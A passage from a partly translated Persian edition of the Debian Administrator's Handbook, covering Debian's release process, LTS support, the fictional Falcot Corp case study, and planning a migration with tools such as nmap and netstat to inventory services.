با وجود اینکه در اصول نظری جالب بنظر می‌رسد، شاخه تحت‌آزمون برخی مشکلات اجرایی دارد: در هم بودن وابستگی‌های متفاوت بین بسته‌ها، باعث می‌شود که یک بسته به ندرت بتواند به تنهایی در این شاخه قرار گیرد. با بسته‌هایی که به یکدیگر وابسته هستند، بعضی اوقات ضروری بنظر می‌رسد که تعداد زیادی از آن‌ها به صورت همزمان مهاجرت کنند که این امر، حین عملیات بروزرسانی عملاً غیرممکن بنظر می‌آید. از طرف دیگر، اسکریپتی که برای شناسایی بسته‌های مشابه بکار گرفته می‌شود کار دشواری برای اتمام این عملیات دارد (این یک مشکل NP-complete است که برای آن راهکارهای مناسبی وجود دارد). به همین دلیل است که این اسکریپت را طوری تنظیم کرده‌ایم تا گروهی از بسته‌ها پیشنهادی را در نظر بگیرد یا اضافه‌شدن برخی دیگر به گروه را تحمیل نماید، با اینکه ممکن است وابستگی‌های فعلی را از بین ببرد. این قابلیت در اختیار مدیران انتشار و همکاران آن‌ها قرار گرفته است.

یادآوری می‌کنیم که یک مساله NP-complete از درجه پیچیدگی توانی برخوردار است که بر اساس اندازه داده تغییر می‌کند، که در اینجا طول خطوط و عناصر داخل آن را شامل می‌شود. تنها راه حل آن این است که تمام پیکربندی‌های ممکن را در نظر بگیریم، که به حالت‌های متفاوتی ختم می‌شوند. یک heuristic تقریبی نسبی اما راضی‌کننده برای این مشکل است.

جامعه‌کاربری مدیر انتشار

مدیر انتشار عنوان مهمی است که با مسئولیت‌های سنگینی همراه است. کسی که این سمت را بر عهده دارد مسئول انتشار نسخه جدید و پایدار دبیان است و فرآیند توسعه در شاخه تحت‌آزمون را قبل از اینکه به شرایط کیفی شاخه پایدار برسد، تعریف می‌کند. وی همچنین یک جدول زمان پیشنهادی را تعریف می‌کند (که البته همیشه مورد پذیرش دیگران نیست).

همچنین مدیران انتشار پایدار نیز وجود دارند که با SRM مخفف می‌شوند، کسانی که بروزرسانی‌های موجود برای نسخه پایدار دبیان را مدیریت و انتخاب می‌کنند. آن‌ها به طور ساختاریافته‌ای بروزرسانی‌های امنیتی و موارد پیشنهادی دیگر توسط سایر توسعه‌دهندگان مشتاق به ارائه آخرین برورزسانی‌های نرم‌افزار خود، یک به یک بررسی کرده و منتشر می‌سازند.

1.6.4. ارتقاء از شاخه تحت‌آزمون به پایدار

Let us suppose that our package is now included in Testing. As long as it has room for improvement, its maintainer must continue to improve it and restart the process from Unstable (but its later inclusion in Testing is generally faster: unless it changed significantly, all of its dependencies are already available). When it reaches perfection, the maintainer has completed their work. The next step is the inclusion in the Stable distribution, which is, in reality, a simple copy of Testing at a moment chosen by the Release Manager. Ideally, this decision is made when the installer is ready, and when no program in Testing has any known critical bugs.

از آنجا که این لحظه هیچگاه به حقیقت نمی‌پیوندد، در عمل دبیان باید با آن سازش کند: حذف بسته‌هایی که مسئول آن در زمان مقرر نتوانسته است مشکلات موجود را رفع کند یا توافق با انتشار توزیعی که شامل هزاران باگ در برنامه‌هایش است. مدیر انتشار قبل از این یک بازه زمانی ثابت شده را در نظر گرفته است، که در طی آن هر بروزرسانی برای شاخه تحت‌آزمون باید پذیرفته شود. هدف از اینکار پیشگیری از نسخه جدید و باگ‌های مربوط به آن است، و تنها پذیرش بروزرسانی‌هایی که منجر به رفع باگ‌ها می‌گردند.

شكل 1.3. مسیر یک بسته در میان نسخه‌های گوناگون دبیان

واژگان فریز: مستقیم به مقصد

طی بازه زمانی فریز، توسعه در توزیع تحت‌آزمون مسدود می‌گردد؛ هیچ بروزرسانی خودکاری نیز پذیرفته نمی‌شود. تنها مدیران انتشار هستند که در این بازه می‌توانند تغییرات مربوط به بسته‌ها را بر اساس شرایط آن‌ها انجام دهند. هدف جلوگیری از بروز باگ‌های جدید با انتشار نسخه جدید است؛ تنها آن دسته بروزرسانی‌های تست شده مجاز به اجرا هستند که باگ‌های مشخص را تصحیح نمایند.

After the release of a new stable version, the Stable Release Managers manage all further development (called “revisions”, ex: 7.1, 7.2, 7.3 for version 7). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included).

At the end of the journey, our hypothetical package is now included in the stable distribution. This journey, not without its difficulties, explains the significant delays separating the Debian Stable releases. This contributes, over all, to its reputation for quality. Furthermore, the majority of users are satisfied using one of the three distributions simultaneously available. The system administrators, concerned above all about the stability of their servers, don't need the latest and greatest version of GNOME; they can choose Debian Stable, and they will be satisfied. End users, more interested in the latest versions of GNOME or KDE Plasma than in rock-solid stability, will find Debian Testing to be a good compromise between a lack of serious problems and relatively up-to-date software. Finally, developers and more experienced users may blaze the trail, testing all the latest developments in Debian Unstable right out of the gate, at the risk of suffering the headaches and bugs inherent in any new version of a program. To each their own Debian!

CULTURE GNOME and KDE Plasma, graphical desktop environments

GNOME (GNU Network Object Model Environment) and Plasma by KDE (formerly known as K Desktop Environment) are the two most popular graphical desktop environments in the free software world, and will be presented in greater detail in قسمت 13.3, “محیط‌های گرافیکی” .

A desktop environment is a set of programs grouped together to allow easy management of the most common operations through a graphical interface. They generally include a file manager, office suite, web browser, e-mail program, multimedia accessories, etc. The most visible difference resides in the choice of the graphical library used: GNOME has chosen GTK+ (free software licensed under the LGPL), and the KDE community has selected Qt (a company-backed project, available nowadays both under the GPL and a commercial license).

→ https://www.gnome.org/

→ https://www.kde.org/

شكل 1.4. ترتیب زمانی مراحل بسته‌بندی یک برنامه در دبیان

1.6.5. وضعیت شاخه‌های پایدار سابق و پایدار قدیمی

هر نسخه پایدار شامل چرخه حیاتی تقریباً ۵ ساله است و امکان انتشار نسخه‌های جدید هر ۲ سال یکبار را فراهم می‌آورد، در هر دوره زمانی تنها ۳ انتشار قابل پشتیبانی وجود خواهند داشت. زمانی که یک انتشار پایدار جدید اتفاق می‌افتد، نسخه پیشین به پایدار سابق و نسخه قبل از آن به پایدار قدیم تغییر نام می‌دهد.

پشتیبانی بلند مدت (LTS) دبیان یک رویکرد جدید در پروژه به حساب می‌آید: مشارکت‌کنندگان انفرادی و شرکت‌های گوناگون به یکدیکر پیوستند تا تیم LTS دبیان را تشکیل دهند. نسخه‌های قدیمی‌تر که دیگر تحت حمایت تیم امنیتی دبیان قرار ندارند به این تیم جدید واگذار می‌گردند.

The Debian security team handles security support in the current Stable release and also in the Oldstable release (but only for as long as is needed to ensure one year of overlap with the current stable release). This amounts roughly to three years of support for each release. The Debian LTS team handles the last (two) years of security support so that each releases benefits from at least 5 years of support and so that users can upgrade from version N to N+2, for example from Debian 8 Jessie to Debian 10 Buster.

→ https://wiki.debian.org/LTS

جامعه‌کاربری مجموعه‌هایی که از فرآیند LTS حمایت می‌کنند

پشتیبانی بلند مدت فرآیند دشواری در دبیان است چراکه داوطلبین از کاری که برایشان سرگرم‌کننده نباشد استقبال نمی‌کنند یا فراهم آوردن ۵ سال پشتیبانی از نرم‌افزارهایی که - برای بسیاری مشارکت‌کنندگان - استفاده از نسخه قدیمی‌تر ‌آن‌ها جذابیت کمتری نسبت به آخرین تغییرات موجود در آن‌ها را دارد.

برای به انجام رساندن این فرآیند، پروژه بر این حقیقت استوار است که پشتیبانی بلند مدت برای شرکت‌هایی است که علاقه دارند هزینه بروزرسانی‌های امنیتی را پرداخت کنند.

The project started in June 2014: some organizations allowed their employees to contribute part-time to Debian LTS while others preferred to sponsor the project with money so that Debian contributors get paid to do the work that they would not do for free. Most Debian contributors willing to be paid to work on LTS got together to create a clear sponsorship offer managed by Freexian (Raphaël Hertzog's company):

→ https://www.freexian.com/services/debian-lts.html

In the Debian LTS team, the volunteers work on packages they care about while the paid contributors prioritize packages used by their sponsors.

The project is always looking for new sponsors: What about your company? Can you let an employee work part-time on long term support? Can you allocate a small budget for security support?

→ https://wiki.debian.org/LTS/Funding

فصل 2. ارائه مورد مطالعاتی

In the context of this book, you are the system administrator of a growing small business. The time has come for you to redefine the information systems master plan for the coming year in collaboration with your directors. You choose to progressively migrate to Debian, both for practical and economical reasons. Let's see in more detail what is in store for you…

ما این مورد مطالعاتی را به عنوان یک رویکرد عمومی برای تمام خدمات در حوزه سیستم‌های اطلاعاتی در شرکت‌های متوسط رو به بالا، تجسم کرده‌ایم. پس از خواندن این کتاب، شما تمام عناصر ضروری جهت نصب دبیان روی سرورهای خود را خواهید داشت. همچنین فرا می‌گیرید که چگونه در زمان بروز مشکلات، اطلاعات مربوطه را به صورت کارآمدتری پیدا کنید.

2.1. نیازهای درحال رشد فناوری اطلاعات

شرکت فالکات، تولیدکننده تجهیزات صوتی با کیفیت بالاست. این شرکت با قدرت در حال رشد است، که شامل دو مکان مجزاست، یکی در سنت‌اتین و دیگری در مونت‌پولیه. مکان نخست چیزی حدود ۱۵۰ کارمند را در خود جای داده است؛ که از یک کارخانه تولید بلندگو، یک آزمایشگاه طراحی و تمام دفاتر مدیریتی میزبانی می‌کند. سایت مونت‌پولیه اما کوچک‌تر است، با چیزی حدود ۵۰ کارگز که مشغول به تولید آمپلی‌فایر هستند.

یادداشت شرکت ساختگی که برای این مورد مطالعاتی ایجاد شده است

شرکت فالکات کورپ که در این از آن یاد می‌شود، کاملاً ساخته ذهن است. هرگونه شباهت با یک شرکت واقعی کاملاً تصادفی است. به همین ترتیب، برخی داده‌های آزمایشی که در این کتاب استفاده می‌شوند نیز ممکن است ساختگی باشند.

The information system has had difficulty keeping up with the company's growth, so they are now determined to completely redefine it to meet various goals established by management:

زیرساختی پیشرفته با قابلیت توسعه آسان؛

کاهش هزینه مجوزهای نرم‌افزاری به لطف استفاده از نرم‌افزار اوپن سورس؛

نصب یک وبسایت تجارت الکترونیک، به احتمال زیاد B2B (ایجاد ارتباط بین سامانه‌های ارتباطی بین شرکت‌های مختلف، مانند خریدار و مشتری)؛

بهبود قابل توجه در امنیت به منظور محافظت بهتر از اسرار تجاری مربوط به محصولات جدید.

تمام سامانه اطلاعاتی توسط این اهداف مورد بازبینی قرار می‌گیرد.

2.2. طرح اصلی

با تعامل شما، مدیریت IT مجموعه مطالعاتی عمیقی را آغار کرده است که برخی محدودیت‌ها و طرح مهاجرت جدید را به سامانه اوپن سورس انتخاب شده شناسایی کرده است: دبیان.

محدودیت قابل توجهی در رابطه با استفاده دپارتمان حسابداری از مجموعه نرم‌افزارهایی است که تنها در پلتفرم Microsoft Windows™ اجرا می‌شوند. آزمایشگاه، از طرف دیگر، از نرم‌افزارهای طراحی بوسیله رایانه (CAD) استفاده می‌کند که تنها در پلتفرم OS-X™ اجرا می‌شوند.

شكل 2.1. بررسی اجمالی شبکه فالکات کورپ

مهاجرت به دبیان تدریحی خواهد بود؛ یک کسب و کار کوچک با ابزار محدود، یک شبه نمی‌تواند همه چیز را تغییر دهد. برای شروع، کارکنان بخش IT باید در رابطه با مدیریت دبیان آموزش ببینند. آنگاه سرورها تبدیل می‌شوند، که شروع این مرحله با زیرساخت شبکه (روتر، دیوارآتش و ...) خواهد بود که در ادامه به سرویس‌های کاربردی (اشتراک فایل، ایمیل، وب و ...) کشیده می‌شود. در این زمان است که رایانه‌های رومیزی در هر دپارتمان و همزمان با آموزش کارکنان آن، بروزرسانی می‌شوند.

2.3. چرا یک توزیع گنو/لینوکس؟

بازگشت به مقدمات لینوکس یا گنو/لینوکس؟

لینوکس، همانطور که می‌دانید، تنها یک کرنل (هسته) است. عباراتی نظیر “توزیع لینوکس” و “سیستم لینوکس” از این منظر اشتباه هستند: در حقیقت، آن‌‌ها توزیع‌ها یا سیستم‌هایی بر اساس لینوکس هستند. استفاده از این عبارات منجر به فراموشی نرم‌افزاری می‌شود که کرنل را کامل می‌کند، که در این میان برنامه‌های موجود در پروژه گنو وجود دارند. دکتر ریچارد استالمن، موسس این پروژه، اصرار دارد که عبارت “گنو/لینوکس” به طور سیستماتیک مورد استفاده قرار گیرد تا به این منظور مشارکت‌های بسیاری که در پروژه گنو صورت گرفته است بهتر شناخته شود و مفهوم آزادی که تمام این موارد بر اساس آن است مورد توجه قرار گیرد.

Debian has chosen to follow this recommendation, and, thus, name its distributions accordingly (thus, the latest stable release is Debian GNU/Linux 10).

عوامل بسیاری در این انتخاب موثر بوده‌اند. مدیر سیستمی که با این توزیع آشنا بود، ضمانت کرد که یکی از بهترین گزینه‌های موجود برای طرح مهاجرت است. شرایط دشوار اقتصادی و رقابت شدید، بودجه این عملیات را بسیار محدود کرده است، با وجود اهمیت حیاتی که این امر برای آینده شرکت دارد. این همان دلیلی است که انتخاب راهکارهای اوپن سورس را تسریع بخشیده است: مطالعات اخیر نشان می‌دهد که آن‌ها از راهکارهای انحصاری دیگر بسیار به صرفه‌تر هستند در حالی که خدمات با همان کیفیت یا حتی بهتر را ارائه می‌دهند، مادامی که کاربران آموزش دیده بتوانند از آن‌ها استفاده کنند.

در عمل هزینه تمام‌شده مالکیت (TCO)

هزینه تمام‌شده مالکیت، به مجموع تمام پول‌هایی گفته می‌شود که برای بدست آوردن یا اکتساب یک کالا خرج می‌شوند، که در این مورد به سیستم عامل اشاره دارد. این هزینه شامل پرداخت حق مجوز، هزینه آموزش کارکنان برای کار با نرم‌افزار جدید، جایگزینی سیستم‌هایی که بسیار کند هستند، تعمیرات اضافی و سایر موارد می‌شود. هرچیزی که از انتخاب اولیه نشات گرفته باشد به حساب می‌آید.

این معیار، که متناسب با ارز‌یابی‌های صورت گرفته ممکن است متغیر باشد، وقتی به تنهایی مورد سنجش قرار گیرد بسیار ناچیز خواهد بود. اگرچه، مقایسه TCO برای گزینه‌های مختلفی که بر اساس قواعد یکسان محاسبه می‌شوند، جالب خواهد بود. این جدول ارزیابی، حائر اهمیت بسیار بالایی است و دستکاری آن به منظور دستیابی به یک هدف از پیش تعریف شده، بسیار آسان است. بدین ترتیب، TCO برای یک رایانه تنها معنایی ندارد، چرا که هزینه یک مدیر سیستم بر اساس تعداد رایانه‌هایی که مدیریت می‌کند نمایان می‌شود، عددی که بسته به سیستم عامل و ابزارهای آن متفاوت است.

در میان سیستم عامل‌های آزاد، دپارتمان IT نگاهی بر سیستم‌های BSD (مانند OpenBSD و FreeBSD و NetBSD)، گنو هرد و توزیع‌های لینوکس داشت. گنو هرد، که تاکنون نسخه پایداری منتشر نکرده است، به صورت از این فهرست حذف شد. انتخاب بین BSD و لینوکس آسان‌تر بود. اولی حائر اعتبار بسیاری به خصوص در حوزه سرورها است. مصلحت‌گرایی، اما به انتخاب یک سیستم لینوکس منجر شد، از آنجایی که محبوبیت و تعداد نصب آن هر قابل توجه بود و نتایج بسیار مثبتی داشت. یکی از این نتایج، یافتن افراد واجد شرایط در کار با لینوکس نسبت به BSD بود. علاوه بر این، انطباق لینوکس با سخت‌افزارهای جدید در مقایسه با BSD بیشتر است (با اینکه هر دو در این زمینه پایاپای حرکت می‌کنند). در نهایت، توزیع‌های لینوکس اغلب با رابط‌های گرافیک کاربری انطباق بهتر و بیشتری دارند، که این امر برای تازه‌کارها حین مهاجرت از سیستم قدیم بسیار حائز اهمیت است.

جایگزین دبیان GNU/kFreeBSD

Since Debian 6 Squeeze, it is possible to use Debian with a FreeBSD kernel on 32 and 64 bit computers; this is what the kfreebsd-i386 and kfreebsd-amd64 architectures mean. While these architectures are not “official” (they are hosted on a separate mirror — ports.debian.org), they provide over 70% of the software packaged by Debian.

این معماری‌ها می‌توانند گزینه‌های قابل قبولی برای مدیر سیستم‌های فالکتات کورپ باشند، به خصوص برای یک دیوارآتش (کرنل از سه دیوارآتش پشتیبانی می‌کند: IPF، IPFW و PF) یا برای یک NAS (سیستم ذخیره‌سازی مبتنی بر شبکه، که فایل‌سیستم ZFS روی آن مورد آزمون قرار گرفته و تایید شده است).

2.4. چرا توزیع دبیان؟

حال که خانواده لینوکس انتخاب شده است، گزینه مشخص‌تری باید تعیین گردد. دوباره، شرایط متفاوتی برای این انتخاب وجود دارند. توزیع انتخاب شده باید قادر باشد برای چندین سال به فعالیت خود ادامه دهد، چرا که مهاجرت دیگر هزینه‌های بسیاری در پی خواهد داشت (البته کمتر از هزینه‌ای که برای مهاجرت دو سیستم کاملاً متفاوت صرف شده است، مانند ویندوز یا مک).

پایداری، یکی از جنبه‌های ضروری است که باید بروزرسانی‌های عادی و امنیتی را برای چند سال تضمین کند. زمان این بروزرسانی‌ها نیز حائز اهمیت است، با وجود تعداد رایانه‌هایی زیادی که فالکات کورپ در اختیار دارد، اجرای این بروزرسانی نمی‌تواند در فاصله‌های زمانی کوتاه صورت بگیرد. از این رو، دپارتمان IT بر استفاده از آخرین نسخه پایدار توزیع اصرار دارد که منجر به دریافت آخرین بروزرسانی‌های امنیتی و بهترین خدمات پشتیبانی می‌گردد. در حقیقت، بروزرسانی‌های امنیتی به طور عمومی تنها برای بازه کوتاهی از زمان برای نسخه‌های قدیمی‌تر از یک توزیع، تضمین شده‌اند.

Finally, for reasons of homogeneity and ease of administration, the same distribution must run on all the servers and office computers.

2.4.1. توزیع‌های تجاری و مبتنی بر جامعه کاربری

دو طبقه‌بندی اصلی از توزیع‌های لینوکس وجود دارد: تجاری و غیر-تجاری (مبتنی بر جامعه‌کاربری). اولی، توسعه‌یافته توسط شرکت‌ها، به همراه خدمات پشتیبانی تجاری فروخته می‌شود. دومی، بر اساس همان مدل توسعه آزادی فعالیت می‌کند که در جامعه نرم‌افزار آزاد وجود دارد.

A commercial distribution will have, thus, a tendency to release new versions more frequently, in order to better market updates and associated services. Their future is directly connected to the commercial success of their company, and many have already disappeared (Caldera Linux, StormLinux, Mandriva Linux, etc.).

یک توزیع مبتنی بر جامعه‌کاربری به خودی خود از جدول زمانی خاصی تبعیت نمی‌کند. مانند کرنل لینوکس، نسخه‌های جدید زمانی منتشر می‌شوند که با پایداری مناسبی رسیده باشند. بقاء این مدل ضمانت شده است، مادامی که توسعه‌دهندگان و شرکت‌های ثالثی از آن‌ها حمایت کنند.

مقایسه‌ای از توزیع‌های مختلف لینوکس منجر به انتخاب دبیان بنا به دلایل گوناگون شد:

این یک توزیع غیر-تجاری و مبتنی بر جامعه کاربری است، که توسعه آن جدای از هرگونه محدودیت‌های تجاری است؛ آن دسته از اهداف، از نقطه نظر فنی، به لطف کیفیت نهایی محصول حاصل شده‌اند.

از بین تمامی این توزیع‌ها، حائز اهمیت‌ترین آن‌ها از چند بعد است: در تعداد مشارکت کنندگان، تعداد بسته‌های نرم‌افزاری موجود و سال‌هایی که حضور پیوسته داشته است. اندازه جامعه کاربری آن، شاهد و گواه بر ادامه حیاتش است.

بر اساس آمار، نسخه‌های جدید هر ۱۷ تا ۲۴ ماه یکبار منتشر می‌شوند و برای ۵ سال از آن‌ها پشتیبانی بعمل می‌آید. جدول زمانی که مطبوع بسیاری از مدیر سیستم‌ها است.

نظرسنجی که از چندین شرکت ارائه دهنده خدمات نرم‌افزار آزاد در فرانسه نشان داده است که تمامی آن‌ها پشتیبانی فنی از دبیان را بعمل می‌آورند؛ همچین این گزینه، برای بسیاری از آن‌ها، انتخاب اول در شرکت خود نیز می‌باشد. این تنوع در ارائه دهنده خدمات، یک دارایی با ارزش برای استقلال فالکات کورپ به حساب می‌آید.

در نهایت، دبیان تحت معماری‌های گوناگونی موجود است، از جمله ppc64el برای پردازند‌های OpenPower؛ از این رو امکان نصب آن روی آخرین سرورهای IBM در فالکات کورپ وجود دارد.

در عمل پشتیبانی بلند مدت دبیان

پروژه پشتیبانی بلند مدت (LTS) دبیان در سال ۲۰۱۴ آغاز شد و هدفش فراهم‌آوردن ۵ سال پشتیبانی امنیتی از تمام نسخه‌های پایدار دبیان است. از آنجایی که LTS برای سازمان‌های بسیار بزرگ اهمیت بالایی دارد، پروژه تلاش می‌کند تا منابع مورد نیاز خود را از شرکت‌هایی که مشتری دبیان هستند تامین کند.

→ https://wiki.debian.org/LTS

Falcot Corp is not big enough to let one member of its IT staff contribute to the LTS project, so the company opted to subscribe to Freexian's Debian LTS contract and provides financial support. Thanks to this, the Falcot administrators know that the packages they use will be handled in priority and they have a direct contact with the LTS team in case of problems.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Once Debian has been chosen, the matter of which version to use must be decided. Let us see why the administrators have picked Debian Buster.

2.5. Why Debian Buster?

Every Debian release starts its life as a continuously changing distribution, also known as “Testing”. But at the time you read those lines, Debian Buster is the latest “Stable” version of Debian.

The choice of Debian Buster is well justified based on the fact that any administrator concerned about the quality of their servers will naturally gravitate towards the stable version of Debian. Even if the previous stable release might still be supported for a while, Falcot administrators aren't considering it because its support period will not last long enough and because the latest version brings new interesting features that they care about.

فصل 3. بررسی ابزار نصب‌شده موجود و مهاجرت

بازبینی مجدد هر سامانه رایانه‌ای نیاز به در نظر گرفتن ابزار موجود در سامانه دارد. این امر، امکان استفاده مجدد از منابع موجود را فراهم می‌آورد و همکاری بین قسمت‌های مختلف یک سامانه را تسهیل می‌بخشد. این مطالعه یک چارچوب عمومی برای مهاجرت زیرساخت محاسباتی موجود بر روی لینوکس را معرفی می‌کند.

3.1. همزیستی در محیط‌های ناهمگون

دبیان در تمام محیط‌های موجود به خوبی ادغام شده و به راحتی با تمام سیستم عامل‌ها ارتباط برقرار می‌کند. این هارمونی نسبتاً کامل از فشار بازار روی تولیدکنندگان نرم‌افزار ناشی می‌شود که آن‌ها را مجبور به استفاده از استانداردهای خاصی می‌نماید. انطباق با استانداردها به مدیران این امکان را می‌دهد که برنامه‌های گوناگون را تعویض کنند: سمت کاربر یا سمت سرور، آزاد یا غیر آزاد.

3.1.1. ادغام با ماشین‌های ویندوز

پشتیبانی سامبا از SMB/CIFS ارتباط عالی در یک محیط ویندوزی را تضمین می‌کند. این ابزار، فایل‌ها و چاپگرها را در اختیار کاربران ویندوز می‌گذارد و شامل نرم‌افزاری است که به یک ماشین لینوکس اجازه می‌دهد تا از منابع موجود در یک سرور ویندوز استفاده نماید.

ابزار Samba

آخرین نسخه از سامبا می‌تواند اکثر قابلیت‌های ویندوز را جایگزین نماید: از قابلیت‌های ساده سرور ویندوز NT گرفته (احراز هویت، فایل‌ها، چاپگرها، دانلود درایور چاپگر‌ها و ...) تا پیشرفته‌ترین آن‌ها (کنترلر دامنه سازگار با اکتیو دایرکتوری).

3.1.2. ادغام با ماشین‌های OS X

ماشین‌های OS X امکان استفاده و اشتراک‌گذاری خدمات شبکه مانند سرورهای فایل و چاپگر را فراهم می‌کنند. این خدمات در شبکه محلی انتشار می‌یابند که به سایر ماشین‌ها اجازه می‌دهد بدون تنظمیات جداگانه خاصی از آن‌ها استفاده نمایند، با استفاده از پیاده‌سازی Bonjour از بسته پروتکل Zeroconf. دبیان نیز شامل یک پیاده‌سازی دیگر از آن به نام Avahi است که تقریباً همان قابلیت‌ها را در اختیار می‌گذارد.

In the other direction, the Netatalk daemon can be used to provide file servers to OS X machines on the network. It implements the AFP (AppleShare) protocol as well as the required notifications so that the servers can be automatically discovered by the OS X clients.

شبکه‌های قدیمی‌تر Mac OS (قبل از OS X) از پروتکل دیگری بنام AppleTalk استفاده می‌کردند. برای محیط‌هایی که شامل ماشین‌های استفاده‌کننده از این پروتکل است، Netatalk همچنین شامل پروتکل AppleTalk نیز می‌شود (در حقیقت، به عنوان یک پیاده‌سازی مجدد از آن). این پیاده‌سازی، عملکرد صحیح سرور فایل و چاپگر را تضمین می‌کند، همچنین سرور زمان (همگام‌سازی ساعت). تابع مسیریاب آن امکان ارتباط داخلی با شبکه‌های AppleTalk را می‌دهد.

3.1.3. ادغام با سایر ماشین‌های لینوکس/یونیکس

در نهایت، NFS و NIS ارتباط با سایر سامانه‌های یونیکس را تضمین می‌کنند. اولی عملکرد فایل سرور را تضمین می‌کند، در حالی که دومی به ساخت دایرکتوری برای کاربران می‌پردازد. لایه چاپ در BSD، که توسط اکثر سامانه‌های یونیکس استفاده می‌شود، امکان به اشتراک‌گذاری چاپگر را می‌دهد.

شكل 3.1. همزیستی دبیان با سامانه‌های OS X، ویندوز و یونیکس

3.2. چگونگی مهاجرت

In order to guarantee continuity of the services, each computer migration must be planned and executed according to the plan. This principle applies whatever operating system is used.

3.2.1. نظرسنجی و شناسایی خدمات

این گام با اینکه ساده به نظر می‌رسد، اما ضروری است. یک مدیر سیستم جدی نقش تمام سرورهای تحت کنترلش را می‌داند، اما این نقش‌ها می‌توانند تغییر یابند و گاهی اوقات کاربران باتجربه ممکن است خدمات “عجیب و غریب” را اضافه کنند. اطلاع از وجود این خدمات به شما اجازه تصمیم‌گیری می‌دهد تا اینکه به طور اتفاقی همه را پاک کنید.

For this purpose, it is wise to inform your users of the project before migrating the server. To involve them in the project, it may be useful to install the most common free software programs on their desktops prior to migration, which they will come across again after the migration to Debian; LibreOffice and the Mozilla suite are the best examples here.

3.2.1.1. شبکه و فرآیندها

ابزار nmap (در بسته‌ای با همین نام) به سرعت سرویس‌ها اینترنتی موجود در یک شبکه توسط ماشین‌های مختلف را شناسایی می‌کند بدون آنکه نیاز باشد به این ماشین‌ها وارد شویم. تنها کافی است دستور زیر را روی ماشین دیگری از همان شبکه اجرا کنید:

$ nmap mirwiz Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-06 14:41 CEST Nmap scan report for mirwiz (192.168.1.104) Host is up (0.00062s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

جایگزین از netstat برای جستجوی فهرستی از سرویس‌های موجود استفاده کنید

در یک ماشین لینوکس، دستور netstat -tupan فهرستی از اتصال‌های فعال یا غیرفعال TCP را نمایش می‌دهد، به همراه پورت‌های UDP که روی آن‌ها برنامه‌ها در انتظار دریافت داده هستند. این ابزار، به شناسایی سرویس‌ها ارائه شده در شبکه کمک بسیاری می‌کند.

مطالعه بیشتر IPv6

برخی دستورات شبکه ممکن است تنها با IPv4 (گزینه پیش‌فرض) یا IPv6 کار کنند که از میان آن‌ها می‌توان به دستورات nmap و netstat اشاره کرد، اما دستورات دیگر نیز مانند route یا ip این قابلیت را دارند. قرارداد اولیه این است که این قابلیت با استفاده از گزینه خط‌فرمان -6 فعال می‌شود.

اگر سرور یک ماشین یونیکس باشد که حساب‌کاربری شل در اختیار کاربرانش می‌گذارد، شناسایی اینکه فرآیندها در پیش‌زمینه در غیاب مالکشان اجرا می‌شوند، امر جالبی است. دستور ps auxw فهرستی از تمام فرآیندها به همراه هویت کاربرشان ارائه می‌دهد. با بررسی اطلاعات خروجی با دستور who، که فهرستی از کاربران وارد شده را نمایش می‌دهد، شناسایی سرورها و برنامه‌هایی که بدون نام در پیش‌زمینه اجرا شده‌اند، ممکن می‌شود. نگاهی بر crontabs (جدولی که رویدادهای خودکار را در بازه‌ای از زمان برای کاربر اجرا می‌کند) معمولاً اطلاعات جالبی در شیوه استفاده از سرور در اختیار می‌گذارد (توضیح کامل cron در قسمت 9.7, “زمان‌بندی وظیفه‌ها با cron و atd” موجود است).

در هر صورت، پشتیبان‌گیری از سرور امری ضروری است: این عملیات امکان بازیابی اطلاعات سرور پس از یک گزارش بروز مشکل در عملیات مهاجرت را فراهم می‌سازد.

3.2.2. پشتیبان‌گیری از فایل‌های پیکربندی

منطقی است که از فایل‌های پیکربندی سرویس موجود که قصد جایگزین کردن آن با سرویس جدیدی را داریم، پشتیبان تهیه کنیم. حداقل می‌توان یک کپی از تمام فایل‌های پیکربندی برای هر سرویس را تهیه کرد.

برای ماشین‌های یونیکس، فایل‌های پیکربندی معمولاً در مسیر /etc/ قرار دارند، اما ممکن است در یک زیرمجموعه از /usr/local/ نیز قرار بگیرند. این مورد از برنامه‌هایی که مستقیماً از سورس کامپایل می‌شوند صدق می‌کند، جدای از بسته‌های موجود. در بعضی موارد، ممکن است این فایل‌ها را در /opt/ نیز پیدا کنید.

برای سرویس‌هایی که با مدیریت داده سروکار دارند (مانند پایگاه‌داده‌ها)، به شدت توصیه می‌شود که تمام داده موجود در یک قالب استاندارد که توسط نرم‌افزار جدید خوانده خواهد شد، خروجی گرفته شود. چنین قالبی معمولاً به صورت متنی و مستندسازی شده است؛ برای نمونه، ممکن است یک فایل SQL از پایگاه‌داده یا یک فایل LDIF از سرور LDAP باشد.

شكل 3.2. پشتیبان‌گیری از پایگاه‌داده

هر نرم‌افزار سرور متفاوت است و عملاً ممکن نیست که بتوان به تمام جزیئات این نرم‌افزارها اشاره کرد. به مستندات نرم‌افزار موجود و جدید جهت درک درستی از قالب‌های استاندارد ورودی و خروجی مراجعه کنید و آن‌هایی که نیاز به تغییرات دستی دارند. مطالعه این کتاب پیکربندی برنامه‌های اصلی سرور در لینوکس را برای شما روشن می‌سازد.

3.2.3. سازوکار در اختیار گرفتن یک سرور دبیان موجود

برای نگهداری موثر آن، کسی ممکن است ماشین موجود که دبیان روی آن نصب شده است را تحلیل کند.

اولین فایلی که باید بررسی شود /etc/debian_version است، که معمولاً نسخه دبیان نصب شده روی سیستم را نشان می‌دهد (که جزو بسته base-files است). اگر نشانه‌هایی از codename/sid بود بدین معنی است که سیستم با استفاده از بسته‌های موجود در توزیع در حال توسعه (خواه تحت‌آزمون یا ناپایدار) بروزرسانی شده است.

برنامه apt-show-versions (از بسته دبیان با همین نام) فهرست بسته‌های نصب شده را بررسی کرده و نسخه‌های موجود را شناسایی می‌کند. برای این منظور، از aptitude نیز می‌توان استفاده کرد، البته به شکل دیگری.

نگاهی بر فایل /etc/apt/sources.list (و دایرکتوری /etc/apt/sources.list.d/) نشان می‌دهد که بسته‌های نصب شده از چه منبعی می‌آیند. اگر منابع نامشخص فراوانی در این فایل وجود داشت، مدیر سیستم می‌تواند سیستم را از دوباره نصب کرده تا با اینکار حداکثر سازگاری نرم‌افزاری با دبیان را ممکن سازد.

